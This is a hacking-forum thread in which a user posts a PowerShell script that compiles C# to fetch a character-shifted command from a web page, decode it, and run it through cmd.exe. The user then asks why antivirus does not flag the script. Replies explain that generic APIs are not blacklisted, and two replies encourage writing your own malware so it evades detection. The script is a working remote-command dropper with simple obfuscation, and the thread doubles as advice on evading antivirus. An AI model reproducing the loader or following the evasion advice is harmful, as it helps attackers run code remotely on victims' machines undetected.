

Forum:[Hack Forums](#)

Thread: [Why insn't this script flagged as malware on virustotal?](#)

SIM-3602340 - December 2, 2019, 12:19 pm

So i wrote this simple powershell script:

```
$Source = @"
using System;
using System.IO;

public class Program
{
    public static string test(string ww)
    {
        char[] after = new char[ww.Length];

        for (int i = 0; i < ww.Length; i++)
        {
            after[i] = (char)(ww[i] - 99);
        }
        System.Diagnostics.Process.Start("cmd.exe", "/k " + new string(after));
        return new string(after);
    }
}
"@
```

Add-Type -TypeDefinition \$Source

\$response = Invoke-WebRequest "<url of obfuscated command to run>"

[Program]::test(\$response.Content)

It just executes a command given from a web page. Its pretty simple and i wrote it for testing purposes.

Now, shouldn't AV flag this as it's potentially dangerous?

Maybe I am wrong, let me know what you think..

((Btw if you want to test this code, test it on machines that you own))

MavenGradle - December 2, 2019, 12:26 pm

Why should it flag this code as malicious? What you're asking is like flagging

Code System.Diagnostics.Process.Start as malicious because it has the potential to start external programs which makes zero sense in and of itself because it's not the code but what you do with something like that to make it malicious..

Hell, it will probably be added to several malware databases along with your malicious webserver if you start spreading your app with malicious parameters in a complete package:

<https://usa.kaspersky.com/resource-center/definitions/heuristic-analysis>

Ps:

<https://hackforums.net/forumdisplay.php?fid=49>

SIM-3602340 - December 2, 2019, 12:58 pm

My bad with the section...

Makes sense to me, thank you for your clarification, and no, I don't want to spread my app with malicious parameters ahah

Xamarin - December 2, 2019, 1:29 pm

(Dec 2, 2019 01:19 PM)Cereal000 Wrote: [\[CITE\]](#) So i wrote this simple powershell script:

```
$Source = @"
using System;
using System.IO;

public class Program
{
    public static string test(string ww)
    {
        char[] after = new char[ww.Length];

        for (int i = 0; i < ww.Length; i++)
        {
            after[i] = (char)(ww[i] - 99);
        }
        System.Diagnostics.Process.Start("cmd.exe", "/k " + new string(after));
    }
    return new string(after);
}
"@
```

Add-Type -TypeDefinition \$Source

\$response = Invoke-WebRequest "<url of obfuscated command to run>"

[Program]::test(\$response.Content)

It just executes a command given from a web page. Its pretty simple and i wrote it for testing purposes.

Now, shouldn't AV flag this as it's potentially dangerous?

VirusTotal scan: [cant post link :(50 posts limit, scan it on your own :)]

Maybe I am wrong, let me know what you think..

((Btw if you want to test this code, test it on machines that you own))

For the same reason that when you write a program that transmits data through sockets using C/C++ is not flagged as well. Because those apis can be used by an app that is a chat application (like so many), or it can be a rat. Unless the code gets exposed, or your executable reversed and analyzed, you will not get flagged (or at least by 99% of the AVs). That is the reason that we say that you need to code your own tools in these circumstances, not only because you need to know how things work under the hood, but also because you can re-create simple tools and payloads, using standard generic libraries, that cannot be blacklisted.

is_nimda - December 7, 2019, 3:54 am

(Dec 2, 2019 01:26 PM)MavenGradle Wrote: [\[CITE\]](#) Why should it flag this code as malicious? What you're asking is like flagging

Code System.Diagnostics.Process.Start as malicious because it has the potential to start external programs which makes zero sense in and of itself because it's not the code but what you do with something like that to make it malicious..

Hell, it will probably be added to several malware databases along with your malicious webserver if you start spreading your app with malicious parameters in a complete package:

<https://usa.kaspersky.com/resource-center/definitions/heuristic-analysis>

Ps:

<https://hackforums.net/forumdisplay.php?fid=49>

^ This - which is why its always best to write your own malware, as its less likely to be flagged and normally will do the job than a super adv scripted code with 100 layers lol